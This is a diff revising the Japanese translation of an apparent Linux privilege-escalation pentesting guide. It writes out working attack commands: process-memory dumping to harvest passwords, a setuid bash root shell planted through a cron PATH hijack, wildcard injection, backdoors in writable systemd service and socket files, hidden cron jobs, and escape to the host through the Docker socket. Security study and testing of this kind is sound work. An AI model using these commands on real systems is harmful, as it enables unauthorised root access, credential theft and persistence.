+### さらにシステム列挙 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 考えられる防御策の列挙 +## 可能な防御策を列挙する ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -もし docker container の中にいるなら、そこから脱出を試みることができます： +docker container の中にいる場合、そこから escape を試みることができます: {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## ドライブ -**何がマウントされていて何がアンマウントされているか**、どこにあり、なぜかを確認してください。もし何かがアンマウントされているなら、それをマウントして機密情報がないか確認してみてください。 +何が**マウントされているか、アンマウントされているか**、どこに、なぜかを確認します。アンマウントされているものがあれば、それをマウントして機密情報を確認してみてください。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,56 +144,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -また、**コンパイラがインストールされているか**確認してください。これは、いくつかの kernel exploit を使う必要がある場合に有用です。実際に使用するマシン（またはそれに近いマシン）でコンパイルすることが推奨されます。 +また、**any compiler is installed**か確認してください。これは、kernel exploit を使用する必要がある場合に有用です。実際に使用するマシン（またはそれに類似したマシン）で compile することが推奨されるためです。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### インストールされている脆弱なソフトウェア +### 脆弱なソフトウェアのインストール状況 -インストールされているパッケージやサービスの**バージョン**を確認してください。例えば古い Nagios バージョンなどがあり、権限昇格のために悪用される可能性があります…\ +**インストールされているパッケージやサービスのバージョン**を確認してください。例えば古い Nagios バージョンが存在し、それが escalating privileges に悪用される可能性があります…\ より疑わしいインストール済みソフトウェアのバージョンは手動で確認することを推奨します。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -もしマシンにSSHでアクセスできるなら、マシン内にインストールされている古い、または脆弱なソフトウェアを確認するために **openVAS** を使うこともできます。 +マシンにSSHでアクセスできる場合、**openVAS** を使ってマシン内にインストールされている古い・脆弱なソフトウェアをチェックすることもできます。 -> [!NOTE] > _これらのコマンドはほとんど役に立たない大量の情報を表示することが多いため、インストールされているソフトウェアのバージョンが既知の exploits に対して脆弱かどうかをチェックする、OpenVAS のようなアプリケーションの使用が推奨されます。_ +> [!NOTE] > _これらのコマンドは大量の情報を表示し、その多くはほとんど役に立たないことに注意してください。したがって、OpenVASなどのツールでインストール済みソフトウェアのバージョンが既知のエクスプロイトに対して脆弱かどうかを確認することを推奨します_ -## Processes +## プロセス -実行されている**プロセス**を確認し、どのプロセスが本来あるべき権限より多くの権限を持っているかをチェックしてください（例えば root によって実行されている tomcat など）。 +どの**プロセスが**実行されているかを確認し、どのプロセスが**本来より多くの権限を持っているか**をチェックしてください（例えば tomcat が root によって実行されているかもしれません？） ```bash ps aux ps -ef top -n 1 ``` -常に[**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md) を確認してください。**Linpeas**はプロセスのコマンドライン内の`--inspect`パラメータをチェックしてそれらを検出します。\ -また、**check your privileges over the processes binaries** を確認してください。もしかすると誰かを上書きできるかもしれません。 +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. ### プロセス監視 -プロセスを監視するために [**pspy**](https://github.com/DominicBreuker/pspy) のようなツールを使用できます。これにより、脆弱なプロセスが頻繁に実行されている場合や、特定の条件が満たされたときに実行されるプロセスを特定するのに非常に役立ちます。 +プロセスの監視には [**pspy**](https://github.com/DominicBreuker/pspy) のようなツールを使用できます。これは、脆弱なプロセスが頻繁に実行されている場合や特定の条件が満たされたときに識別するのに非常に役立ちます。 ### プロセスのメモリ -一部のサーバサービスはメモリ内に**credentialsをプレーンテキストで保存**していることがあります。\ -通常、他のユーザーに属するプロセスのメモリを読むには**root privileges**が必要なため、これは通常すでにrootであり、さらに資格情報を発見したいときにより有用です。\ -ただし、通常ユーザーとして自分が所有するプロセスのメモリは読むことができることを忘れないでください。 +サーバの一部サービスは**credentials in clear text inside the memory**を保存します。\ +通常、他ユーザに属するプロセスのメモリを読むには**root privileges**が必要なため、これは通常既にrootでさらに多くの資格情報を発見したい場合に役立ちます。\ +しかし、通常ユーザとしては自分が所有するプロセスのメモリは読むことができる点を忘れないでください。 > [!WARNING] > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: 同じ uid を持っている限り、すべてのプロセスをデバッグできます。これは従来の ptracing の動作方法です。 +> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグ可能です。 +> - **kernel.yama.ptrace_scope = 2**: ptrace を使用できるのは管理者のみで、CAP_SYS_PTRACE capability が要求されます。 +> - **kernel.yama.ptrace_scope = 3**: ptrace で追跡できるプロセスはありません。一度設定されると、ptracing を再び有効にするには再起動が必要です。 #### GDB -たとえば FTP サービスのメモリにアクセスできる場合、Heap を取得してその中の資格情報を検索できます。 +たとえば FTP サービスのメモリにアクセスできる場合、Heap を取得してその中の credentials を検索することができます。 ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### GDB スクリプト ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -指定したプロセスIDに対して、**maps はそのプロセスの仮想アドレス空間内でメモリがどのようにマップされているかを示します**。また、**各マッピング領域の権限**（permissions）も表示します。**mem** 擬似ファイルは **プロセスのメモリ自体を露出します**。**maps** ファイルから、どの **メモリ領域が読み取り可能**（memory regions are readable）かとそのオフセットが分かります。この情報を使って、**mem ファイル内を seek して読み取り可能な領域をすべて dump してファイルに保存します**。 +特定のプロセスIDに対して、**maps はそのプロセスの仮想アドレス空間内でメモリがどのようにマッピングされているかを示します**。また、**各マップ領域の権限**も表示します。**mem** 擬似ファイルは**プロセスのメモリ自体を公開します**。**maps** ファイルからどの **メモリ領域が読み取り可能か** とそのオフセットが分かります。この情報を使って、**mem ファイルをシークして読み取り可能な領域をすべてダンプする** のです。 ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` はシステムの**物理メモリ**にアクセスし、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間には /dev/kmem を使用してアクセスできます.\ -通常、`/dev/mem` は **root** と **kmem** グループのみが読み取り可能です。 +`/dev/mem` はシステムの **物理** メモリにアクセスするもので、仮想メモリではありません。カーネルの仮想アドレス空間には /dev/kmem を使用してアクセスできます。\ +通常、`/dev/mem` は **root** と kmem グループのみが読み取り可能です。 ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump (linux向け) +### ProcDump for linux -ProcDumpは、Windows向けのSysinternalsスイートに含まれる古典的なProcDumpツールをLinux向けに再構想したものです。入手先: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump は、Windows 用の Sysinternals ツールスイートに含まれるクラシックな ProcDump ツールを Linux 向けに再構築したものです。入手はこちら: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -269,35 +269,35 @@ Press Ctrl-C to end monitoring without terminating the process. プロセスのメモリをダンプするには、次を使用できます: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_手動でroot要件を削除し、あなたが所有するプロセスをダンプできます -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要です) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root 要件を手動で削除し、自分が所有するプロセスをダンプできます +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要) -### プロセスメモリからの資格情報 +### プロセスのメモリからの認証情報 #### 手動の例 -authenticator プロセスが実行されている場合: +authenticator プロセスが実行されているのを見つけた場合: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -プロセスをdumpして（プロセスのmemoryをdumpするさまざまな方法は前のセクションを参照）メモリ内のcredentialsを検索できます: +processをdumpして（前のセクションを参照してprocessのmemoryをdumpするさまざまな方法を確認してください）、memory内のcredentialsを検索できます： ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は、**メモリから平文の資格情報を盗み**、いくつかの**既知のファイル**からも盗みます。正しく動作させるにはroot権限が必要です。 +このツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は、メモリから**平文の認証情報を盗み出し**、およびいくつかの**よく知られたファイル**からも取得します。正しく動作させるには root 権限が必要です。 -| 機能 | プロセス名 | +| 機能 | プロセス名 | | ------------------------------------------------- | -------------------- | | GDM パスワード (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (アクティブFTP接続) | vsftpd | +| Apache2 (アクティブなHTTP Basic認証セッション) | apache2 | +| OpenSSH (アクティブなSSHセッション - sudo 使用) | sshd: | #### 検索用正規表現/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -313,100 +313,100 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## スケジュールされた/Cron jobs +## Scheduled/Cron jobs -スケジュールされたジョブに脆弱性がないか確認する。root によって実行されるスクリプトを利用できるかもしれない（wildcard vuln? root が使うファイルを変更できるか? symlinks を使う? root が使うディレクトリに特定のファイルを作成する?）。 +スケジュールされたジョブに脆弱性がないか確認してください。rootで実行されるスクリプトを悪用できないか検討しましょう（wildcard vuln? rootが使用するファイルを変更できるか? symlinksを使えるか? rootが使うディレクトリに特定のファイルを作成できるか?）。 ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron パス +### Cron path -例えば、_/etc/crontab_ の中に以下の PATH が見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例えば、_/etc/crontab_ に次の PATH が記載されています: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_user が /home/user に対して書き込み権限を持っていることに注意してください_) +(_ユーザー "user" が /home/user に書き込み権限を持っていることに注意_) -もしこの crontab の中で root が PATH を設定せずにコマンドやスクリプトを実行しようとした場合。例えば: _\* \* \* \* root overwrite.sh_\ -すると、次のようにして root shell を取得できます: +この crontab の中で root ユーザーが PATH を設定せずにコマンドやスクリプトを実行しようとした場合。例えば: _\* \* \* \* root overwrite.sh_\ +その場合、次を使って root シェルを取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron がワイルドカードを含むスクリプトを使用する場合 (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -もしスクリプトが root によって実行され、そのコマンド内に “**\***” が含まれている場合、これを悪用して予期しないこと（例えば privesc）を引き起こすことができます。例: +スクリプトが root によって実行され、そのコマンド内に “**\***” が含まれている場合、これを利用して予期しない動作（privesc のような）を引き起こすことができます。例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**ワイルドカードが次のようなパスの直後にある場合** _**/some/path/\***_ **、脆弱ではありません（** _**./\***_ **も同様です）。** +**wildcardが次のようなパスの前にある場合** _**/some/path/\***_ **、脆弱ではありません（** _**./\***_ **も脆弱ではありません）。** -より多くの wildcard exploitation tricks については、次のページを参照してください： +Read the following page for more wildcard exploitation tricks: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink +### Cron スクリプトの上書きと symlink -root によって実行される **cron script を変更できる** なら、簡単に shell を取得できます: +もし root によって実行される **cron script を変更できる**なら、非常に簡単に shell を取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -root によって実行される script が **directory where you have full access** を使用している場合、そのフォルダを削除して、あなたが制御するスクリプトを配置する別の場所に **create a symlink folder to another one** することが有効かもしれません。 +root によって実行されるスクリプトが **あなたが完全にアクセスできるディレクトリ** を使用している場合、そのフォルダを削除して、あなたが制御するスクリプトを配置した別の場所への **symlink フォルダを作成する** ことが有用かもしれません。 ```bash ln -d -s ``` -### 頻繁な cron jobs +### 頻繁に実行される cron ジョブ -プロセスを監視して、1分、2分、または5分ごとに実行されているプロセスを探すことができます。これを利用してescalate privilegesできるかもしれません。 +プロセスを監視して、1分、2分、または5分ごとに実行されているプロセスを探すことができます。これを利用して、escalate privileges できるかもしれません。 -例えば、**1分間、0.1秒ごとに監視し**、**実行回数の少ない順にソートし**、最も多く実行されたコマンドを削除するには、次のようにします: +例えば、**0.1秒ごとに1分間監視する**、**実行回数の少ない順にソートする**、そして最も多く実行されたコマンドを削除するには、次のようにします： ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**また** [**pspy**](https://github.com/DominicBreuker/pspy/releases) を使用できます（開始されるすべてのプロセスを監視して一覧表示します）。 +**次のツールも使用できます** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (これにより開始されるすべてのプロセスが監視・一覧表示されます)。 ### 見えない cron jobs -コメントの後に**キャリッジリターンを入れる**（改行文字なし）ことでcronjobを作成でき、cron jobは動作します。例（キャリッジリターン文字に注意）: +cronjobを**コメントの後にキャリッジリターンを入れる**（改行文字は含めない）ことで作成でき、cron jobは動作します。例（キャリッジリターン文字に注意）: ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## サービス +## Services ### 書き込み可能な _.service_ ファイル -任意の `.service` ファイルに書き込みできるか確認してください。書き込み可能であれば、**それを変更して**、**実行する** あなたの **backdoorを** サービスが**起動**、**再起動**または**停止**したときに実行させるようにできます（マシンを再起動するまで待つ必要があるかもしれません）。\ -例えば、.service ファイル内にあなたの backdoor を作成し、**`ExecStart=/tmp/script.sh`** のように設定します。 +任意の `.service` ファイルに書き込みできるか確認してください。書き込み可能であれば、**改変する**ことでサービスが**開始**、**再起動**、または**停止**されたときにあなたの**backdoor**を**実行する**ようにできます（マシンの再起動を待つ必要があるかもしれません）。\ +例えば `.service` ファイル内に **`ExecStart=/tmp/script.sh`** を記述して backdoor を作成します。 -### 書き込み可能なサービスバイナリ +### 書き込み可能な service バイナリ -念のため、**write permissions over binaries being executed by services** を持っている場合、それらを backdoors に置き換えることができ、サービスが再実行されたときに backdoors が実行されます。 +サービスによって実行されるバイナリに対する**書き込み権限がある場合**、それらをバックドアに差し替えることができ、サービスが再実行されるとバックドアが実行されます。 ### systemd PATH - 相対パス -次のコマンドで **systemd** が使用する PATH を確認できます: +次のコマンドで**systemd**が使用する PATH を確認できます: ```bash systemctl show-environment ``` -パス内のいずれかのフォルダに**書き込み**できることが分かった場合、**escalate privileges** が可能な場合があります。次のようなサービス設定ファイルで**相対パスが使用されている**箇所を検索する必要があります: +パス内の任意のフォルダに**書き込み**ができることが判明した場合、**escalate privileges**できる可能性があります。次のようなサービス構成ファイルで**相対パス**が使用されていないか検索する必要があります: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -次に、書き込み可能な systemd PATH フォルダ内に、相対パスのバイナリと同じ名前の **executable** を作成してください。サービスが脆弱なアクション（**Start**, **Stop**, **Reload**）を実行するよう要求されたとき、あなたの **backdoor will be executed**。（通常、権限のないユーザはサービスを start/stop できませんが、`sudo -l` が使えるか確認してください。） +次に、書き込み可能な systemd PATH フォルダ内に **相対パスのバイナリと同じ名前の** **実行可能ファイル** を作成します。サービスが脆弱なアクション（**Start**, **Stop**, **Reload**）を実行するよう要求されると、あなたの **backdoor** が実行されます（非特権ユーザーは通常サービスの start/stop を実行できませんが、`sudo -l` が使えるか確認してください）。 **サービスについては `man systemd.service` を参照してください。** -## **タイマー** +## **Timers** -**タイマー** は名前が `**.timer**` で終わる systemd の unit ファイルで、`**.service**` ファイルやイベントを制御します。**タイマー** はカレンダー時刻イベントや単調時間イベントのサポートを内蔵しており、cron の代替として非同期に実行できます。 +**Timers** は名前が `**.timer**` で終わる systemd ユニットファイルで、`**.service**` ファイルやイベントを制御します。**Timers** はカレンダー時間イベントや単調時間イベントを組み込みでサポートしており、非同期で実行できるため cron の代替として利用できます。 すべてのタイマーは次のコマンドで列挙できます: ```bash @@ -418,50 +418,48 @@ systemctl list-timers --all ```bash Unit=backdoor.service ``` -In the documentation you can read what the Unit is: +> このタイマーが期限切れになったときにアクティブ化されるユニットです。引数はユニット名で、サフィックスが ".timer" ではない名前になります。指定しない場合、この値はタイマーユニットと同じ名前（サフィックスを除く）を持つ service にデフォルトされます。（上記参照。）アクティブ化されるユニット名とタイマーユニットのユニット名は、サフィックスを除いて同一であることが推奨されます。 -> このタイマーが満了したときに有効化される Unit。引数はサフィックスが ".timer" でない unit 名です。指定しない場合、この値はタイマー unit と同じ名前（サフィックスを除く）を持つ service にデフォルトされます（上記参照）。有効化される unit 名とタイマー unit の unit 名は、サフィックス以外同一の名前にすることが推奨されます。 +したがって、この権限を悪用するには、次のいずれかを満たす必要があります: -Therefore, to abuse this permission you would need to: - -- systemd unit（例えば `.service`）のうち **書き込み可能なバイナリを実行している** ものを見つける -- 相対パスで**実行している** systemd unit を見つけ、実行ファイルを偽装するために **systemd PATH** に対して**書き込み権限**を持っていること +- systemd ユニット（例: `.service`）で、**書き込み可能なバイナリを実行している**ものを見つける +- 実行パスが**相対パスで実行している** systemd ユニットを見つけ、かつその実行ファイルを偽装するために **systemd PATH** に対して**書き込み権限**を持っていること **Learn more about timers with `man systemd.timer`.** ### **タイマーの有効化** -タイマーを有効化するには root 権限が必要で、次のコマンドを実行します: +タイマーを有効にするには root 権限が必要で、次を実行します: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -注意: **timer** は `/etc/systemd/system/.wants/.timer` にシンボリックリンクを作成することで **有効化されます** +注意：**timer** は `/etc/systemd/system/.wants/.timer` にシンボリックリンクを作成することで**有効化**されます。 -## Sockets +## ソケット -Unix Domain Sockets (UDS) はクライアント-サーバモデル内で同一または別のマシン間の **プロセス間通信** を可能にします。これらは標準的な Unix ディスクリプタファイルを利用してコンピュータ間通信を行い、`.socket` ファイルを通じて設定されます。 +Unix Domain Sockets (UDS) はクライアント-サーバモデル内で同一または異なるマシン間の**プロセス間通信**を可能にします。これらは標準の Unix ディスクリプタファイルを用いてコンピュータ間通信を行い、`.socket` ファイルを通じて設定されます。 -Sockets は `.socket` ファイルを使って設定できます。 +Sockets は `.socket` ファイルを使って構成できます。 -**sockets については `man systemd.socket` を参照してください。** このファイル内で、いくつか興味深いパラメータを設定できます: +**Learn more about sockets with `man systemd.socket`.** このファイル内では、いくつかの興味深いパラメータを設定できます: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、要約としてソケットが **どこでリッスンするかを示す** ために使われます（AF_UNIX ソケットファイルのパス、リッスンする IPv4/6 および/またはポート番号など）。 -- `Accept`: 真偽値を取ります。**true** の場合、**受信ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false** の場合、すべてのリッスンソケット自体が**起動されたサービスユニットに渡され**、すべての接続に対して単一のサービスユニットが生成されます。この値は、単一のサービスユニットがすべての受信トラフィックを無条件に扱う datagram sockets と FIFOs では無視されます。**デフォルトは false** です。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した形でのみ書くことが推奨されます。 -- `ExecStartPre`, `ExecStartPost`: 1 行以上のコマンドラインを取り、リッスンする **sockets** / FIFOs がそれぞれ **作成され** バインドされる **前** または **後** に実行されます。コマンドラインの最初のトークンは絶対パスでなければならず、その後にプロセスの引数が続きます。 -- `ExecStopPre`, `ExecStopPost`: リッスンする **sockets** / FIFOs がそれぞれ **閉じられ** 削除される **前** または **後** に実行される追加の **コマンド** です。 -- `Service`: **incoming traffic** に対して **activate** する **service** ユニット名を指定します。この設定は Accept=no の sockets のみ許可されます。デフォルトではソケットと同名のサービス（接尾辞を置換したもの）になります。ほとんどの場合、このオプションを使う必要はありません。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、要約すると**どこでリッスンするかを示す**ために使われます（AF_UNIX ソケットファイルのパス、リッスンする IPv4/6 および/またはポート番号など）。 +- `Accept`: ブール引数を取ります。**true** の場合、**各着信接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそのインスタンスに渡されます。**false** の場合、リッスンしているすべてのソケット自体が**起動された service ユニットに渡され**、すべての接続に対して単一の service ユニットのみが生成されます。データグラムソケットおよび FIFO では、この値は無視され、単一の service ユニットが無条件にすべての着信トラフィックを処理します。**Defaults to false**。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方法でのみ作成することが推奨されます。 +- `ExecStartPre`, `ExecStartPost`: 1 行以上のコマンドラインを取り、これらはリッスンする**sockets**/FIFOs がそれぞれ作成されバインドされる**前**または**後**に**実行されます**。コマンドラインの最初のトークンは絶対パスのファイル名でなければならず、その後にプロセスの引数が続きます。 +- `ExecStopPre`, `ExecStopPost`: リッスンする**sockets**/FIFOs がそれぞれクローズおよび削除される**前**または**後**に**実行される**追加の**コマンド**です。 +- `Service`: 着信トラフィック時に**起動する****service** ユニット名を指定します。この設定は Accept=no のソケットでのみ許可されます。デフォルトではソケットと同名（サフィックスを置換したもの）の service が使用されます。ほとんどの場合、このオプションを使う必要はありません。 ### Writable .socket files -もし **writable** な `.socket` ファイルを見つけたら、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を **追加** できます。そうすると backdoor はソケットが作成される前に実行されます。従って、**おそらくマシンの再起動を待つ必要があります。**\ -_システムがそのソケットファイルの設定を使用している必要があり、そうでないと backdoor は実行されません_ +もし **書き込み可能な** `.socket` ファイルを見つけたら、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のようなものを**追加**することができ、バックドアはソケットが作成される前に実行されます。したがって、**おそらくマシンの再起動を待つ必要があるでしょう。**\ +_システムがそのソケットファイルの設定を使用していなければ、バックドアは実行されない点に注意してください_ ### Writable sockets -もし **writable socket** を特定したら（ここでは設定ファイル `.socket` ではなく Unix Sockets の話です）、その socket と **通信でき**、脆弱性を exploit できる可能性があります。 +もし **書き込み可能なソケット** を特定した場合（_ここでは設定ファイルの `.socket` ではなく Unix ソケットのことを指しています_）、そのソケットと**通信することができ**、脆弱性を突ける可能性があります。 -### Unix Sockets を列挙する +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -483,13 +481,13 @@ socket-command-injection.md ### HTTP sockets -一部には **sockets listening for HTTP** requests が存在する場合があることに注意してください (_ここで言う .socket ファイルではなく、unix sockets として機能するファイルを指します_)。次のコマンドで確認できます: +注意: 一部に **sockets listening for HTTP** requests が存在することがあります（_.socket files のことではなく、unix sockets として機能するファイルを指しています_）。以下のコマンドで確認できます: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If the socket **HTTPに応答する**場合、**通信**が可能になり、場合によっては**exploit some vulnerability**。 +ソケットが**HTTPで応答する**場合、**通信**でき、場合によっては**exploit some vulnerability**を行えることがあります。 -### 書き込み可能な Docker ソケット +### 書き込み可能な Docker Socket The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. @@ -504,27 +502,27 @@ These commands allow you to run a container with root-level access to the host's #### **Docker APIを直接使用する** -Docker CLIが利用できない場合でも、Docker socketはDocker APIと`curl`コマンドを使って操作できます。 +Docker CLIが利用できない場合でも、DockerソケットはDocker APIと`curl`コマンドを使って操作できます。 -1. **List Docker Images:** Retrieve the list of available images. +1. **List Docker Images:** 利用可能なイメージの一覧を取得します。 ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +2. **Create a Container:** ホストシステムのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +作成したコンテナを起動します: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +3. **Attach to the Container:** `socat`を使用してコンテナに接続を確立し、コンテナ内でコマンドを実行できるようにします。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,13 +532,13 @@ Connection: Upgrade Upgrade: tcp ``` -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +`socat`接続を設定した後、ホストのファイルシステムに対するrootレベルのアクセス権でコンテナ内から直接コマンドを実行できます。 ### その他 -docker socket に対して書き込み権限がある、つまり **group `docker` のメンバーである** 場合、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) が利用できます。もし [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) であれば、それを悪用して侵害できる可能性もあります。 +dockerソケットへの書き込み権限があり、**inside the group `docker`** に属している場合は、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)があります。また、[**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)場合、それを悪用できる可能性があります。 -以下で **more ways to break out from docker or abuse it to escalate privileges** を確認してください: +dockerから抜け出す、またはそれを悪用してprivilege escalationするための**more ways to break out from docker or abuse it to escalate privileges**は次を参照してください： {{#ref}} @@ -549,7 +547,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +もし **`ctr`** コマンドを使用できることが判明した場合は、次のページを参照してください。**you may be able to abuse it to escalate privileges**： {{#ref}} @@ -558,7 +556,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +もし **`runc`** コマンドを使用できることが判明した場合は、次のページを参照してください。**you may be able to abuse it to escalate privileges**： {{#ref}} @@ -567,15 +565,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Busは、アプリケーションが効率的に相互作用しデータを共有できる洗練されたプロセス間通信 (inter-Process Communication, IPC) システムです。モダンなLinuxシステムを念頭に設計されており、さまざまな形態のアプリケーション間通信のための堅牢なフレームワークを提供します。 +D-Busは高度な**プロセス間通信 (IPC) システム**であり、アプリケーションが効率的に相互作用しデータを共有することを可能にします。現代のLinuxシステムを念頭に設計されており、さまざまな形態のアプリケーション間通信のための堅牢なフレームワークを提供します。 -このシステムは柔軟で、プロセス間のデータ交換を強化する基本的なIPC（enhanced UNIX domain 